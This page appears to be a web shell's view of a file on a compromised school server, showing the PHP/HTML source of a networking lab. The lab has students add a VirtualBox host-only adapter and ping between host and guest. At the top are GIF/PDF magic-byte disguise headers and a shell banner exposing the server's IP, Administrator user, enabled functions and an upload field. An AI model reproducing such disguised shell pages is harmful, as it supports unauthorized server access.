GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST2505/Labs/Lab03/ |
Upload File : |
<? // imMartinson/CST2505/Labs/Lab03.php require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to add a <b>Host-only networking</b> adapter to the VirtualBox Ubuntu desktop. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend>Lab Instruction</legend> Create a <b class="copyText"><?=$evaluationName?></b> folder and keep all screenshots and any copied files for this assignment in that <b><?=$evaluationName?></b> folder. <ol class="count"> <!-- 1 --> <li>Add a <b>Host-only networking</b> adapter to the VirtualBox Ubuntu desktop. <ol> <li>Shutdown your Ubuntu desktop.</li> <li>Open <b>Settings</b> for your Ubuntu desktop VM.</li> <li>Select the <b>Network</b> settings.</li> <li>Select the <b>Apapter 2</b> tab.</li> <li>Enable the adapter.</li> <li>Set <b>Attached to:</b> to <b>Host-only Adapter</b>.</li> <li>Set <b>Name:</b> to the correct adapter. <span class="note">Usually called <b>VirtualBox Host-Only Ethernet Adapter</b>.</span></li> <li>Expand <b>Advanced</b> arrow.</li> <li>Change <b>Promiscuous Mode:</b> to <b>Allow All</b>.</li> <li>Click <b>OK</b>.</li> <li>Start your Ubuntu desktop and login.</li> </ol> </li> <!-- 2 --> <li>Get you Ubuntu desktop network information. <ol> <li>Open a terminal window on your Ubuntu desktop.</li> <li>Display your network interface information with the command <kbd class="copyText">ip -4 a</kbd> <del>ifconfg</del>.</li> <li>Ensure the information for <b>ONLY</b> the <b>Virtualbox Host-Only</b> ethernet adapter is visible in the terminal window: <ul> <li>Scroll the terminal window so that the <b>Virtualbox Host-Only</b> ethernet adapter information is visible. <br><span class="note">This will be the one where the inet address begins with <b>192.168</b>. On a Mac it usually has an adapter name that begins with <b>vboxnet</b></span></li> <li>Shorten the height of the terminal window so that <b>ONLY</b> the <b>Virtualbox Host-Only</b> ethernet adapter information is visible. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/guest-adapter.png" width="734" height="164" alt="Host network example screenshot"/><br> <? showEnd (); ?> </li> </ul> </li> <li>Take a screenshot of the terminal window and save it as <b class="copyText nowrap"><?=$saveFilename?>-guest.png</b> in your <b><?=$evaluationName?></b> folder. <br><note>Note: Do not close the terminal window. You will need it later.</note> </li> </ol> </li> <!-- 3 --> <li>Get you host computer network information. <ol> <li>Open a cmd window on your host computer. <span class="note">This is called a terminal window on a Mac or Linux machine.</span></li> <li>Display your network interface information. The command you use depends on your host's operating system. <ul> <li>For Windows the command is <kbd class="copyText">ipconfig /all</kbd></li> <li>For a Mac the command is <kbd class="copyText">ifconfig</kbd></li> <li>For Linux the command is <kbd class="copyText">ifconfig</kbd> or <kbd class="copyText">ip a</kbd></li> </ul> </li> <li>Ensure the information for <b>ONLY</b> the <b>Virtualbox Host-Only</b> ethernet adapter is visible in the window: <ul> <li>Scroll the window so that the <b>Virtualbox Host-Only</b> ethernet adapter information is visible. <br><span class="note">This will be the one where the inet address begins with <b>192.168</b>. On a Mac it usually has an adapter name that begins with <b>vboxnet</b></span></li> <li>Shorten the height of the window so that <b>ONLY</b> the <b>Virtualbox Host-Only</b> ethernet adapter information is visible. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/host-adapter.png" width="734" height="212" alt="Host network example screenshot"/><br> <? showEnd (); ?> </li> </ul> </li> <li>Take a screenshot of the terminal window and save it as <b class="copyText nowrap"><?=$saveFilename?>-host.png</b> in your <b><?=$evaluationName?></b> folder. <br><note>Note: Do not close the terminal window. You will need it later.</note> </li> </ol> </li> <!-- 4 --> <li>Ping your Ubuntu desktop VM from your host computer. <ol> <li>From the terminal window on your host computer, enter the command: <br>For windows: <kbd class="copyText">ping guest_ip_address</kbd>, for a Mac or Linux: <kbd class="copyText">ping -d 4 guest_ip_address</kbd> <br>Replace <b>guest_ip_address</b> with the ip address of your Ubuntu desktop VM's <b>Host-only adapter</b> from step 2. <br><span class="note">This should be the one that starts with 192.168 and where the third octet matches an ip address on both machines.</span> </li> <li>Take a screenshot of the terminal window and save it as <b class="copyText nowrap"><?=$saveFilename?>-ping-guest.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ping-guest.png" width="734" height="413" alt="Ping Ubuntu example screenshot"/><br> <? showEnd (); ?> <br><span class="note">If all is working correctly you should see four <b>Reply</b> lines.</span> </li> </ol> </li> <!-- 5 --> <li>Ping your host from your Ubuntu desktop VM computer. <ol> <li>From the terminal window on your Ubuntu desktop VM , enter the command: <br><kbd class="copyText">ping -c 4 host_ip_address</kbd> <br>Replace <b>host_ip_address</b> with the ip address of your host's <b>VirtualBox Host-Only Ethernet adapter</b> from step 3. <br><span class="note">This should be the one that starts with 192.168 and where the third octet matches an ip address on both machines.</span></li> <li>Take a screenshot of the terminal window and save it as <b class="copyText nowrap"><?=$saveFilename?>-ping-host.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ping-host.png" width="734" height="488" alt="Ping host example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Make sure the following files are in your <b><?=$evaluationName?></b> folder: <ol type="a"> <li><?=$saveFilename?>-guest.png.</li> <li><?=$saveFilename?>-host.png.</li> <li><?=$saveFilename?>-ping-guest.png.</li> <li><?=$saveFilename?>-ping-host.png.</li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>